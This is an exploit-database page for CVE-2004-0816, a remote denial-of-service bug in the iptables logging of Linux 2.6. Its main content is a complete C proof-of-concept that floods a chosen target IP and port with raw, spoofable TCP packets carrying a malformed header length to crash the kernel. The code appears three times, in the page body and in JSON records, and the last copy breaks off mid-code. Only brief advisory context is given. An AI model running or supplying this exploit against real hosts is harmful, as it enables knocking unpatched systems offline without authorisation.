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Linux Kernel 2.6.x Firewall Logging Rules Remote DoS Exploit

2008-07-07T00:00:00

ID SSV:8943
Type seebug
Reporter Root
Modified 2008-07-07T00:00:00

Description

No description provided by source.

                                        
                                            
                                                /*&nbsp;
*&nbsp;
*&nbsp;iptables.log.integer.underflow.POC.c&nbsp;
*&nbsp;
*&nbsp;(CAN-2004-0816,&nbsp;BID11488,&nbsp;SUSE-SA:2004:037)
*
*&nbsp;felix__zhou&nbsp;_at_&nbsp;hotmail&nbsp;_dot_&nbsp;com
*
*&nbsp;*/

#include&nbsp;&lt;stdio.h&gt;
#include&nbsp;&lt;winsock2.h&gt;
#include&nbsp;&lt;ws2tcpip.h&gt;
#include&nbsp;&lt;time.h&gt;

#pragma&nbsp;comment(lib,&quot;ws2_32&quot;)

static&nbsp;unsigned&nbsp;char&nbsp;dip[4];
static&nbsp;unsigned&nbsp;int&nbsp;da;
static&nbsp;unsigned&nbsp;short&nbsp;dp;
static&nbsp;unsigned&nbsp;char&nbsp;dport[2];

static&nbsp;unsigned&nbsp;char&nbsp;sip[4];
static&nbsp;unsigned&nbsp;int&nbsp;sa;
static&nbsp;unsigned&nbsp;short&nbsp;sp;
static&nbsp;unsigned&nbsp;char&nbsp;sport[2];

/*
static&nbsp;void&nbsp;ip_csum(unsigned&nbsp;char&nbsp;*ip,&nbsp;unsigned&nbsp;int&nbsp;size,&nbsp;unsigned&nbsp;char&nbsp;*sum)
{
unsigned&nbsp;int&nbsp;csum&nbsp;=&nbsp;0;
unsigned&nbsp;char&nbsp;*p&nbsp;=&nbsp;ip;

while&nbsp;(1&nbsp;&lt;&nbsp;size)&nbsp;{
csum&nbsp;+=&nbsp;(p[0]&nbsp;&lt;&lt;&nbsp;8)&nbsp;+&nbsp;p[1];
p&nbsp;+=&nbsp;2;
size&nbsp;-=&nbsp;2;
}

if&nbsp;(size)&nbsp;
csum&nbsp;+=&nbsp;*p;

csum&nbsp;=&nbsp;(csum&nbsp;&gt;&gt;&nbsp;16)&nbsp;+&nbsp;(csum&nbsp;&amp;&nbsp;0xffff);
csum&nbsp;+=&nbsp;(csum&nbsp;&gt;&gt;&nbsp;16);

sum[0]&nbsp;=&nbsp;(((unsigned&nbsp;short)(~csum))&nbsp;&gt;&gt;&nbsp;8);
sum[1]&nbsp;=&nbsp;((((unsigned&nbsp;short)(~csum))&nbsp;&lt;&lt;&nbsp;8)&nbsp;&gt;&gt;&nbsp;8);
}
*/

static&nbsp;void&nbsp;tcp_csum(unsigned&nbsp;char&nbsp;*tcp,&nbsp;unsigned&nbsp;char&nbsp;*ip,&nbsp;
unsigned&nbsp;int&nbsp;size,&nbsp;unsigned&nbsp;char&nbsp;*sum)
{
unsigned&nbsp;int&nbsp;csum&nbsp;=&nbsp;0;
unsigned&nbsp;char&nbsp;*p&nbsp;=&nbsp;tcp;

while&nbsp;(1&nbsp;&lt;&nbsp;size)&nbsp;{
csum&nbsp;+=&nbsp;(p[0]&nbsp;&lt;&lt;&nbsp;8)&nbsp;+&nbsp;p[1];
p&nbsp;+=&nbsp;2;
size&nbsp;-=&nbsp;2;
}

csum&nbsp;+=&nbsp;(ip[12]&nbsp;&lt;&lt;&nbsp;8)&nbsp;+&nbsp;ip[13];
csum&nbsp;+=&nbsp;(ip[14]&nbsp;&lt;&lt;&nbsp;8)&nbsp;+&nbsp;ip[15];

csum&nbsp;+=&nbsp;(ip[16]&nbsp;&lt;&lt;&nbsp;8)&nbsp;+&nbsp;ip[17];
csum&nbsp;+=&nbsp;(ip[18]&nbsp;&lt;&lt;&nbsp;8)&nbsp;+&nbsp;ip[19];

csum&nbsp;+=&nbsp;0x06;
csum&nbsp;+=&nbsp;0x14;

if&nbsp;(size)&nbsp;
csum&nbsp;+=&nbsp;*p;

csum&nbsp;=&nbsp;(csum&nbsp;&gt;&gt;&nbsp;16)&nbsp;+&nbsp;(csum&nbsp;&amp;&nbsp;0xffff);
csum&nbsp;+=&nbsp;(csum&nbsp;&gt;&gt;&nbsp;16);

sum[0]&nbsp;=&nbsp;(((unsigned&nbsp;short)(~csum))&nbsp;&gt;&gt;&nbsp;8);
sum[1]&nbsp;=&nbsp;((((unsigned&nbsp;short)(~csum))&nbsp;&lt;&lt;&nbsp;8)&nbsp;&gt;&gt;&nbsp;8);
}

static&nbsp;int&nbsp;work(SOCKET&nbsp;s)
{
DWORD&nbsp;ret&nbsp;=&nbsp;1;
unsigned&nbsp;char&nbsp;buf[1500];
unsigned&nbsp;char&nbsp;*ip;
unsigned&nbsp;char&nbsp;*tcp;
unsigned&nbsp;int&nbsp;seq&nbsp;=&nbsp;0x01;
struct&nbsp;sockaddr_in&nbsp;host;

ZeroMemory(buf,&nbsp;1500);

ip&nbsp;=&nbsp;buf;
tcp&nbsp;=&nbsp;buf&nbsp;+&nbsp;20;

ip[0]&nbsp;=&nbsp;0x45;&nbsp;/*&nbsp;ver&nbsp;&amp;&nbsp;hlen&nbsp;*/
ip[3]&nbsp;=&nbsp;0x28;&nbsp;/*&nbsp;tlen&nbsp;*/
ip[8]&nbsp;=&nbsp;0x80;&nbsp;/*&nbsp;ttl&nbsp;*/
ip[9]&nbsp;=&nbsp;0x06;&nbsp;/*&nbsp;protocol&nbsp;*/
ip[10]&nbsp;=&nbsp;ip[11]&nbsp;=&nbsp;0;
ip[12]&nbsp;=&nbsp;sip[0];&nbsp;/*&nbsp;saddr&nbsp;*/
ip[13]&nbsp;=&nbsp;sip[1];
ip[14]&nbsp;=&nbsp;sip[2];
ip[15]&nbsp;=&nbsp;sip[3];
ip[16]&nbsp;=&nbsp;dip[0];&nbsp;/*&nbsp;daddr&nbsp;*/
ip[17]&nbsp;=&nbsp;dip[1];
ip[18]&nbsp;=&nbsp;dip[2];
ip[19]&nbsp;=&nbsp;dip[3];

tcp[0]&nbsp;=&nbsp;sport[0];
tcp[1]&nbsp;=&nbsp;sport[1];
tcp[2]&nbsp;=&nbsp;dport[0];&nbsp;/*&nbsp;dport&nbsp;*/
tcp[3]&nbsp;=&nbsp;dport[1];
tcp[12]&nbsp;=&nbsp;0x40;&nbsp;/*&nbsp;hlen&nbsp;*/&nbsp;/*&nbsp;HERE&nbsp;*/
tcp[13]&nbsp;=&nbsp;0x02;&nbsp;/*&nbsp;flags&nbsp;*/

ZeroMemory(&amp;host,&nbsp;sizeof(struct&nbsp;sockaddr_in));
host.sin_family&nbsp;=&nbsp;AF_INET;
host.sin_port&nbsp;=&nbsp;dp;
host.sin_addr.s_addr&nbsp;=&nbsp;da;

for&nbsp;(;;&nbsp;)&nbsp;{
tcp[4]&nbsp;=&nbsp;(seq&nbsp;&gt;&gt;&nbsp;24);&nbsp;/*&nbsp;seq&nbsp;number&nbsp;*/
tcp[5]&nbsp;=&nbsp;((seq&nbsp;&lt;&lt;&nbsp;8)&nbsp;&gt;&gt;&nbsp;24);
tcp[6]&nbsp;=&nbsp;((seq&nbsp;&lt;&lt;&nbsp;16)&nbsp;&gt;&gt;&nbsp;24);
tcp[7]&nbsp;=&nbsp;((seq&nbsp;&lt;&lt;&nbsp;24)&nbsp;&gt;&gt;&nbsp;24);
tcp[16]&nbsp;=&nbsp;tcp[17]&nbsp;=&nbsp;0;
seq&nbsp;++;

tcp_csum(tcp,&nbsp;ip,&nbsp;0x14,&nbsp;tcp&nbsp;+&nbsp;16);

if&nbsp;(SOCKET_ERROR&nbsp;==&nbsp;sendto(s,&nbsp;buf,&nbsp;0x28,&nbsp;0,&nbsp;
(SOCKADDR&nbsp;*)&amp;(host),&nbsp;sizeof&nbsp;host))&nbsp;{
if&nbsp;(WSAEACCES&nbsp;!=&nbsp;WSAGetLastError())&nbsp;{
printf(&quot;sendto()&nbsp;failed:&nbsp;%d\n&quot;,&nbsp;
WSAGetLastError());

ret&nbsp;=&nbsp;1;
}&nbsp;else&nbsp;{
printf(&quot;You&nbsp;must&nbsp;be&nbsp;Administrator!\n&quot;);
}

break;
}
}

return&nbsp;ret;
}

static&nbsp;char&nbsp;usage[]&nbsp;=&nbsp;&quot;Usage:&nbsp;%s&nbsp;dip&nbsp;dport&nbsp;sip&nbsp;sport\n&quot;;

int&nbsp;main(int&nbsp;argc,&nbsp;char&nbsp;**argv)
{
WORD&nbsp;ver&nbsp;=&nbsp;MAKEWORD(2,&nbsp;2);
WSADATA&nbsp;data;
unsigned&nbsp;char&nbsp;*p;
SOCKET&nbsp;s;
int&nbsp;ret&nbsp;=&nbsp;1;
BOOL&nbsp;eopt&nbsp;=&nbsp;TRUE;

if&nbsp;(5&nbsp;!=&nbsp;argc)&nbsp;{
printf(usage,&nbsp;argv[0]);
goto&nbsp;out;
}

if&nbsp;(INADDR_NONE&nbsp;==&nbsp;(da&nbsp;=&nbsp;inet_addr(argv[1])))&nbsp;{
printf(&quot;dest&nbsp;ip&nbsp;address&nbsp;is&nbsp;NOT&nbsp;valid!\n&quot;);
printf(usage,&nbsp;argv[0]);
goto&nbsp;out;
}

p&nbsp;=&nbsp;(unsigned&nbsp;char&nbsp;*)&amp;da;
dip[0]&nbsp;=&nbsp;p[0];
dip[1]&nbsp;=&nbsp;p[1];
dip[2]&nbsp;=&nbsp;p[2];
dip[3]&nbsp;=&nbsp;p[3];

dp&nbsp;=&nbsp;atoi(argv[2]);
dport[0]&nbsp;=&nbsp;((dp&nbsp;&lt;&lt;&nbsp;16)&nbsp;&gt;&gt;&nbsp;24);
dport[1]&nbsp;=&nbsp;((dp&nbsp;&lt;&lt;&nbsp;24)&nbsp;&gt;&gt;&nbsp;24);

if&nbsp;(INADDR_NONE&nbsp;==&nbsp;(sa&nbsp;=&nbsp;inet_addr(argv[3])))&nbsp;{
printf(&quot;source&nbsp;ip&nbsp;address&nbsp;is&nbsp;NOT&nbsp;valid!\n&quot;);
printf(usage,&nbsp;argv[3]);
goto&nbsp;out;
}

p&nbsp;=&nbsp;(unsigned&nbsp;char&nbsp;*)&amp;sa;
sip[0]&nbsp;=&nbsp;p[0];
sip[1]&nbsp;=&nbsp;p[1];
sip[2]&nbsp;=&nbsp;p[2];
sip[3]&nbsp;=&nbsp;p[3];

sp&nbsp;=&nbsp;atoi(argv[4]);
sport[0]&nbsp;=&nbsp;((sp&nbsp;&lt;&lt;&nbsp;16)&nbsp;&gt;&gt;&nbsp;24);
sport[1]&nbsp;=&nbsp;((sp&nbsp;&lt;&lt;&nbsp;24)&nbsp;&gt;&gt;&nbsp;24);

srand((unsigned&nbsp;int)time(0));

if&nbsp;(WSAStartup(ver,&nbsp;&amp;data))&nbsp;{
printf(&quot;WSAStartup()&nbsp;failed\n&quot;);
goto&nbsp;out;
}

if&nbsp;(INVALID_SOCKET&nbsp;==&nbsp;(s&nbsp;=&nbsp;WSASocket(AF_INET,&nbsp;SOCK_RAW,&nbsp;IPPROTO_RAW,&nbsp;0,&nbsp;0,&nbsp;0)))&nbsp;
goto&nbsp;err;

if&nbsp;(SOCKET_ERROR&nbsp;==&nbsp;setsockopt(s,&nbsp;IPPROTO_IP,&nbsp;IP_HDRINCL,&nbsp;
(char&nbsp;*)&amp;eopt,&nbsp;sizeof(eopt)))
goto&nbsp;err1;

work(s);

err1:
closesocket(s);
err:
WSACleanup();

out:
return&nbsp;ret;
}

JSON Vulners Source

Initial Source

{"href": "https://www.seebug.org/vuldb/ssvid-8943", "status": "poc", "history": [], "bulletinFamily": "exploit", "modified": "2008-07-07T00:00:00", "title": "Linux Kernel 2.6.x Firewall Logging Rules Remote DoS Exploit", "cvss": {"vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/", "score": 5.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-8943", "cvelist": ["CVE-2004-0816"], "description": "No description provided by source.", "viewCount": 3, "published": "2008-07-07T00:00:00", "sourceData": "\n /* \r\n* \r\n* iptables.log.integer.underflow.POC.c \r\n* \r\n* (CAN-2004-0816, BID11488, SUSE-SA:2004:037)\r\n*\r\n* felix__zhou _at_ hotmail _dot_ com\r\n*\r\n* */\r\n\r\n#include <stdio.h>\r\n#include <winsock2.h>\r\n#include <ws2tcpip.h>\r\n#include <time.h>\r\n\r\n#pragma comment(lib,"ws2_32")\r\n\r\nstatic unsigned char dip[4];\r\nstatic unsigned int da;\r\nstatic unsigned short dp;\r\nstatic unsigned char dport[2];\r\n\r\nstatic unsigned char sip[4];\r\nstatic unsigned int sa;\r\nstatic unsigned short sp;\r\nstatic unsigned char sport[2];\r\n\r\n/*\r\nstatic void ip_csum(unsigned char *ip, unsigned int size, unsigned char *sum)\r\n{\r\nunsigned int csum = 0;\r\nunsigned char *p = ip;\r\n\r\nwhile (1 < size) {\r\ncsum += (p[0] << 8) + p[1];\r\np += 2;\r\nsize -= 2;\r\n}\r\n\r\nif (size) \r\ncsum += *p;\r\n\r\ncsum = (csum >> 16) + (csum & 0xffff);\r\ncsum += (csum >> 16);\r\n\r\nsum[0] = (((unsigned short)(~csum)) >> 8);\r\nsum[1] = ((((unsigned short)(~csum)) << 8) >> 8);\r\n}\r\n*/\r\n\r\nstatic void tcp_csum(unsigned char *tcp, unsigned char *ip, \r\nunsigned int size, unsigned char *sum)\r\n{\r\nunsigned int csum = 0;\r\nunsigned char *p = tcp;\r\n\r\nwhile (1 < size) {\r\ncsum += (p[0] << 8) + p[1];\r\np += 2;\r\nsize -= 2;\r\n}\r\n\r\ncsum += (ip[12] << 8) + ip[13];\r\ncsum += (ip[14] << 8) + ip[15];\r\n\r\ncsum += (ip[16] << 8) + ip[17];\r\ncsum += (ip[18] << 8) + ip[19];\r\n\r\ncsum += 0x06;\r\ncsum += 0x14;\r\n\r\nif (size) \r\ncsum += *p;\r\n\r\ncsum = (csum >> 16) + (csum & 0xffff);\r\ncsum += (csum >> 16);\r\n\r\nsum[0] = (((unsigned short)(~csum)) >> 8);\r\nsum[1] = ((((unsigned short)(~csum)) << 8) >> 8);\r\n}\r\n\r\nstatic int work(SOCKET s)\r\n{\r\nDWORD ret = 1;\r\nunsigned char buf[1500];\r\nunsigned char *ip;\r\nunsigned char *tcp;\r\nunsigned int seq = 0x01;\r\nstruct sockaddr_in host;\r\n\r\nZeroMemory(buf, 1500);\r\n\r\nip = buf;\r\ntcp = buf + 20;\r\n\r\nip[0] = 0x45; /* ver & hlen */\r\nip[3] = 0x28; /* tlen */\r\nip[8] = 0x80; /* ttl */\r\nip[9] = 0x06; /* protocol */\r\nip[10] = ip[11] = 0;\r\nip[12] = sip[0]; /* saddr */\r\nip[13] = sip[1];\r\nip[14] = sip[2];\r\nip[15] = sip[3];\r\nip[16] = dip[0]; /* daddr */\r\nip[17] = dip[1];\r\nip[18] = dip[2];\r\nip[19] = dip[3];\r\n\r\ntcp[0] = sport[0];\r\ntcp[1] = sport[1];\r\ntcp[2] = dport[0]; /* dport */\r\ntcp[3] = dport[1];\r\ntcp[12] = 0x40; /* hlen */ /* HERE */\r\ntcp[13] = 0x02; /* flags */\r\n\r\nZeroMemory(&host, sizeof(struct sockaddr_in));\r\nhost.sin_family = AF_INET;\r\nhost.sin_port = dp;\r\nhost.sin_addr.s_addr = da;\r\n\r\nfor (;; ) {\r\ntcp[4] = (seq >> 24); /* seq number */\r\ntcp[5] = ((seq << 8) >> 24);\r\ntcp[6] = ((seq << 16) >> 24);\r\ntcp[7] = ((seq << 24) >> 24);\r\ntcp[16] = tcp[17] = 0;\r\nseq ++;\r\n\r\ntcp_csum(tcp, ip, 0x14, tcp + 16);\r\n\r\nif (SOCKET_ERROR == sendto(s, buf, 0x28, 0, \r\n(SOCKADDR *)&(host), sizeof host)) {\r\nif (WSAEACCES != WSAGetLastError()) {\r\nprintf("sendto() failed: %d\\n", \r\nWSAGetLastError());\r\n\r\nret = 1;\r\n} else {\r\nprintf("You must be Administrator!\\n");\r\n}\r\n\r\nbreak;\r\n}\r\n}\r\n\r\nreturn ret;\r\n}\r\n\r\nstatic char usage[] = "Usage: %s dip dport sip sport\\n";\r\n\r\nint main(int argc, char **argv)\r\n{\r\nWORD ver = MAKEWORD(2, 2);\r\nWSADATA data;\r\nunsigned char *p;\r\nSOCKET s;\r\nint ret = 1;\r\nBOOL eopt = TRUE;\r\n\r\nif (5 != argc) {\r\nprintf(usage, argv[0]);\r\ngoto out;\r\n}\r\n\r\nif (INADDR_NONE == (da = inet_addr(argv[1]))) {\r\nprintf("dest ip address is NOT valid!\\n");\r\nprintf(usage, argv[0]);\r\ngoto out;\r\n}\r\n\r\np = (unsigned char *)&da;\r\ndip[0] = p[0];\r\ndip[1] = p[1];\r\ndip[2] = p[2];\r\ndip[3] = p[3];\r\n\r\ndp = atoi(argv[2]);\r\ndport[0] = ((dp << 16) >> 24);\r\ndport[1] = ((dp << 24) >> 24);\r\n\r\nif (INADDR_NONE == (sa = inet_addr(argv[3]))) {\r\nprintf("source ip address is NOT valid!\\n");\r\nprintf(usage, argv[3]);\r\ngoto out;\r\n}\r\n\r\np = (unsigned char *)&sa;\r\nsip[0] = p[0];\r\nsip[1] = p[1];\r\nsip[2] = p[2];\r\nsip[3] = p[3];\r\n\r\nsp = atoi(argv[4]);\r\nsport[0] = ((sp << 16) >> 24);\r\nsport[1] = ((sp << 24) >> 24);\r\n\r\nsrand((unsigned int)time(0));\r\n\r\nif (WSAStartup(ver, &data)) {\r\nprintf("WSAStartup() failed\\n");\r\ngoto out;\r\n}\r\n\r\nif (INVALID_SOCKET == (s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, 0, 0, 0))) \r\ngoto err;\r\n\r\nif (SOCKET_ERROR == setsockopt(s, IPPROTO_IP, IP_HDRINCL, \r\n(char *)&eopt, sizeof(eopt)))\r\ngoto err1;\r\n\r\nwork(s);\r\n\r\nerr1:\r\nclosesocket(s);\r\nerr:\r\nWSACleanup();\r\n\r\nout:\r\nreturn ret;\r\n}\n ", "id": "SSV:8943", "enchantments_done": [], "_object_type": "robots.models.seebug.SeebugBulletin", "type": "seebug", "lastseen": "2017-11-19T21:36:20", "reporter": "Root", "_object_types": ["robots.models.base.Bulletin", "robots.models.seebug.SeebugBulletin"], "enchantments": {"score": {"value": 5.8, "vector": "NONE", "modified": "2017-11-19T21:36:20"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2004-0816"]}, {"type": "osvdb", "idList": ["OSVDB:11014"]}, {"type": "seebug", "idList": ["SSV:78390"]}, {"type": "exploitdb", "idList": ["EDB-ID:24696"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:DOC:7115"]}, {"type": "nessus", "idList": ["SUSE_SA_2004_037.NASL", "MANDRAKE_MDKSA-2005-022.NASL"]}, {"type": "suse", "idList": ["SUSE-SA:2004:037"]}], "modified": "2017-11-19T21:36:20"}, "vulnersScore": 5.8}, "objectVersion": "1.4", "references": []}

{"cve": [{"lastseen": "2019-05-29T18:08:03", "bulletinFamily": "NVD", "description": "Integer underflow in the firewall logging rules for iptables in Linux before 2.6.8 allows remote attackers to cause a denial of service (application crash) via a malformed IP packet.", "modified": "2017-07-11T01:30:00", "id": "CVE-2004-0816", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0816", "published": "2004-12-23T05:00:00", "title": "CVE-2004-0816", "type": "cve", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}}], "exploitdb": [{"lastseen": "2016-02-02T23:49:56", "bulletinFamily": "exploit", "description": "Linux Kernel 2.6.x IPTables Logging Rules Integer Underflow Vulnerability. CVE-2004-0816. Remote exploit for linux platform", "modified": "2004-11-21T00:00:00", "published": "2004-11-21T00:00:00", "id": "EDB-ID:24696", "href": "https://www.exploit-db.com/exploits/24696/", "type": "exploitdb", "title": "Linux Kernel 2.6.x - IPTables Logging Rules Integer Underflow Vulnerability", "sourceData": "source: http://www.securityfocus.com/bid/11488/info\r\n\r\nIt is reported that an integer underflow vulnerability is present in the iptables logging rules of the Linux kernel 2.6 branch.\r\n\r\nA remote attacker may exploit this vulnerability to crash a computer that is running the affected kernel.\r\n\r\nThe 2.6 Linux kernel is reported prone to this vulnerability, the 2.4 kernel is not reported to be vulnerable.\r\n\r\n/* \r\n* \r\n* iptables.log.integer.underflow.POC.c \r\n* \r\n* (CAN-2004-0816, BID11488, SUSE-SA:2004:037)\r\n*\r\n* felix__zhou _at_ hotmail _dot_ com\r\n*\r\n* */\r\n\r\n#include <stdio.h>\r\n#include <winsock2.h>\r\n#include <ws2tcpip.h>\r\n#include <time.h>\r\n\r\n#pragma comment(lib,\"ws2_32\")\r\n\r\nstatic unsigned char dip[4];\r\nstatic unsigned int da;\r\nstatic unsigned short dp;\r\nstatic unsigned char dport[2];\r\n\r\nstatic unsigned char sip[4];\r\nstatic unsigned int sa;\r\nstatic unsigned short sp;\r\nstatic unsigned char sport[2];\r\n\r\n/*\r\nstatic void ip_csum(unsigned char *ip, unsigned int size, unsigned char *sum)\r\n{\r\nunsigned int csum = 0;\r\nunsigned char *p = ip;\r\n\r\nwhile (1 < size) {\r\ncsum += (p[0] << 8) + p[1];\r\np += 2;\r\nsize -= 2;\r\n}\r\n\r\nif (size) \r\ncsum += *p;\r\n\r\ncsum = (csum >> 16) + (csum & 0xffff);\r\ncsum += (csum >> 16);\r\n\r\nsum[0] = (((unsigned short)(~csum)) >> 8);\r\nsum[1] = ((((unsigned short)(~csum)) << 8) >> 8);\r\n}\r\n*/\r\n\r\nstatic void tcp_csum(unsigned char *tcp, unsigned char *ip, \r\nunsigned int size, unsigned char *sum)\r\n{\r\nunsigned int csum = 0;\r\nunsigned char *p = tcp;\r\n\r\nwhile (1 < size) {\r\ncsum += (p[0] << 8) + p[1];\r\np += 2;\r\nsize -= 2;\r\n}\r\n\r\ncsum += (ip[12] << 8) + ip[13];\r\ncsum += (ip[14] << 8) + ip[15];\r\n\r\ncsum += (ip[16] << 8) + ip[17];\r\ncsum += (ip[18] << 8) + ip[19];\r\n\r\ncsum += 0x06;\r\ncsum += 0x14;\r\n\r\nif (size) \r\ncsum += *p;\r\n\r\ncsum = (csum >> 16) + (csum & 0xffff);\r\ncsum += (csum >> 16);\r\n\r\nsum[0] = (((unsigned short)(~csum)) >> 8);\r\nsum[1] = ((((unsigned short)(~csum)) << 8) >> 8);\r\n}\r\n\r\nstatic int work(SOCKET s)\r\n{\r\nDWORD ret = 1;\r\nunsigned char buf[1500];\r\nunsigned char *ip;\r\nunsigned char *tcp;\r\nunsigned int seq = 0x01;\r\nstruct sockaddr_in host;\r\n\r\nZeroMemory(buf, 1500);\r\n\r\nip = buf;\r\ntcp = buf + 20;\r\n\r\nip[0] = 0x45; /* ver & hlen */\r\nip[3] = 0x28; /* tlen */\r\nip[8] = 0x80; /* ttl */\r\nip[9] = 0x06; /* protocol */\r\nip[10] = ip[11] = 0;\r\nip[12] = sip[0]; /* saddr */\r\nip[13] = sip[1];\r\nip[14] = sip[2];\r\nip[15] = sip[3];\r\nip[16] = dip[0]; /* daddr */\r\nip[17] = dip[1];\r\nip[18] = dip[2];\r\nip[19] = dip[3];\r\n\r\ntcp[0] = sport[0];\r\ntcp[1] = sport[1];\r\ntcp[2] = dport[0]; /* dport */\r\ntcp[3] = dport[1];\r\ntcp[12] = 0x40; /* hlen */ /* HERE */\r\ntcp[13] = 0x02; /* flags */\r\n\r\nZeroMemory(&host, sizeof(struct sockaddr_in));\r\nhost.sin_family = AF_INET;\r\nhost.sin_port = dp;\r\nhost.sin_addr.s_addr = da;\r\n\r\nfor (;; ) {\r\ntcp[4] = (seq >> 24); /* seq number */\r\ntcp[5] = ((seq << 8) >> 24);\r\ntcp[6] = ((seq << 16) >> 24);\r\ntcp[7] = ((seq << 24) >> 24);\r\ntcp[16] = tcp[17] = 0;\r\nseq ++;\r\n\r\ntcp_csum(tcp, ip, 0x14, tcp + 16);\r\n\r\nif (SOCKET_ERROR == sendto(s, buf, 0x28, 0, \r\n(SOCKADDR *)&(host), sizeof host)) {\r\nif (WSAEACCES != WSAGetLastError()) {\r\nprintf(\"sendto() failed: %d\\n\", \r\nWSAGetLastError());\r\n\r\nret = 1;\r\n} else {\r\nprintf(\"You must be Administrator!\\n\");\r\n}\r\n\r\nbreak;\r\n}\r\n}\r\n\r\nreturn ret;\r\n}\r\n\r\nstatic char usage[] = \"Usage: %s dip dport sip sport\\n\";\r\n\r\nint main(int argc, char **argv)\r\n{\r\nWORD ver = MAKEWORD(2, 2);\r\nWSADATA data;\r\nunsigned char *p;\r\nSOCKET s;\r\nint ret = 1;\r\nBOOL eopt = TRUE;\r\n\r\nif (5 != argc) {\r\nprintf(usage, argv[0]);\r\ngoto out;\r\n}\r\n\r\nif (INADDR_NONE == (da = inet_addr(argv[1]))) {\r\nprintf(\"dest ip address is NOT valid!\\n\");\r\nprintf(usage, argv[0]);\r\ngoto out;\r\n}\r\n\r\np = (unsigned char *)&da;\r\ndip[0] = p[0];\r\ndip[1] = p[1];\r\ndip[2] = p[2];\r\ndip[3] = p[3];\r\n\r\ndp = atoi(argv[2]);\r\ndport[0] = ((dp << 16) >> 24);\r\ndport[1] = ((dp << 24) >> 24);\r\n\r\nif (INADDR_NONE == (sa = inet_addr(argv[3]))) {\r\nprintf(\"source ip address is NOT valid!\\n\");\r\nprintf(usage, argv[3]);\r\ngoto out;\r\n}\r\n\r\np = (unsigned char *)&sa;\r\nsip[0] = p[0];\r\nsip[1] = p[1];\r\nsip[2] = p[2];\r\nsip[3] = p[3];\r\n\r\nsp = atoi(argv[4]);\r\nsport[0] = ((sp << 16) >> 24);\r\nsport[1] = ((sp << 24) >> 24);\r\n\r\nsrand((unsigned int)time(0));\r\n\r\nif (WSAStartup(ver, &data)) {\r\nprintf(\"WSAStartup() failed\\n\");\r\ngoto out;\r\n}\r\n\r\nif (INVALID_SOCKET == (s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, 0, 0, 0))) \r\ngoto err;\r\n\r\nif (SOCKET_ERROR == setsockopt(s, IPPROTO_IP, IP_HDRINCL, \r\n(char *)&eopt, sizeof(eopt)))\r\ngoto err1;\r\n\r\nwork(s);\r\n\r\nerr1:\r\nclosesocket(s);\r\nerr:\r\nWSACleanup();\r\n\r\nout:\r\nreturn ret;\r\n}", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/24696/"}], "securityvulns": [{"lastseen": "2018-08-31T11:10:11", "bulletinFamily": "software", "description": "The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site:\r\nhttp://www.securiteam.com\r\n- - promotion\r\n\r\nThe SecuriTeam alerts list - Free, Accurate, Independent.\r\n\r\nGet your security news from a reliable source.\r\nhttp://www.securiteam.com/mailinglist.html \r\n\r\n- - - - - - - - -\r\n\r\n\r\n\r\n IPTables Log Integer Underflow (PoC)\r\n------------------------------------------------------------------------\r\n\r\n\r\nSUMMARY\r\n\r\nAn integer underflow in the firewall logging rules for iptables in Linux \r\nbefore version 2.6.8 allows remote attackers to cause a denial of service \r\n(application crash) via a malformed IP packet. The attached exploit code \r\ncan be used to test your system for the mentioned vulnerability.\r\n\r\nDETAILS\r\n\r\nVulnerable Systems:\r\n * Linux Kernel version 2.6.7 and prior\r\n\r\nImmune Systems:\r\n * Linux Kernel version 2.6.8 or newer\r\n\r\nCVE Information:\r\n <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0816> \r\nCAN-2004-0816\r\n\r\nExploit:\r\n/*\r\n*\r\n* iptables.log.integer.underflow.POC.c\r\n*\r\n* (CAN-2004-0816, SUSE-SA:2004:037, SECU)\r\n*\r\n* felix__zhou _at_ hotmail _dot_ com\r\n*\r\n* */\r\n\r\n#include <stdio.h>\r\n#include <winsock2.h>\r\n#include <ws2tcpip.h>\r\n#include <time.h>\r\n\r\n#pragma comment(lib,"ws2_32")\r\n\r\nstatic unsigned char dip[4];\r\nstatic unsigned int da;\r\nstatic unsigned short dp;\r\nstatic unsigned char dport[2];\r\n\r\nstatic unsigned char sip[4];\r\nstatic unsigned int sa;\r\nstatic unsigned short sp;\r\nstatic unsigned char sport[2];\r\n\r\n/*\r\nstatic void ip_csum(unsigned char *ip, unsigned int size, unsigned char \r\n*sum)\r\n{\r\nunsigned int csum = 0;\r\nunsigned char *p = ip;\r\n\r\nwhile (1 < size) {\r\ncsum += (p[0] << 8) + p[1];\r\np += 2;\r\nsize -= 2;\r\n}\r\n\r\nif (size)\r\ncsum += *p;\r\n\r\ncsum = (csum >> 16) + (csum & 0xffff);\r\ncsum += (csum >> 16);\r\n\r\nsum[0] = (((unsigned short)(~csum)) >> 8);\r\nsum[1] = ((((unsigned short)(~csum)) << 8) >> 8);\r\n}\r\n*/\r\n\r\nstatic void tcp_csum(unsigned char *tcp, unsigned char *ip,\r\nunsigned int size, unsigned char *sum)\r\n{\r\nunsigned int csum = 0;\r\nunsigned char *p = tcp;\r\n\r\nwhile (1 < size) {\r\ncsum += (p[0] << 8) + p[1];\r\np += 2;\r\nsize -= 2;\r\n}\r\n\r\ncsum += (ip[12] << 8) + ip[13];\r\ncsum += (ip[14] << 8) + ip[15];\r\n\r\ncsum += (ip[16] << 8) + ip[17];\r\ncsum += (ip[18] << 8) + ip[19];\r\n\r\ncsum += 0x06;\r\ncsum += 0x14;\r\n\r\nif (size)\r\ncsum += *p;\r\n\r\ncsum = (csum >> 16) + (csum & 0xffff);\r\ncsum += (csum >> 16);\r\n\r\nsum[0] = (((unsigned short)(~csum)) >> 8);\r\nsum[1] = ((((unsigned short)(~csum)) << 8) >> 8);\r\n}\r\n\r\nstatic int work(SOCKET s)\r\n{\r\nDWORD ret = 1;\r\nunsigned char buf[1500];\r\nunsigned char *ip;\r\nunsigned char *tcp;\r\nunsigned int seq = 0x01;\r\nstruct sockaddr_in 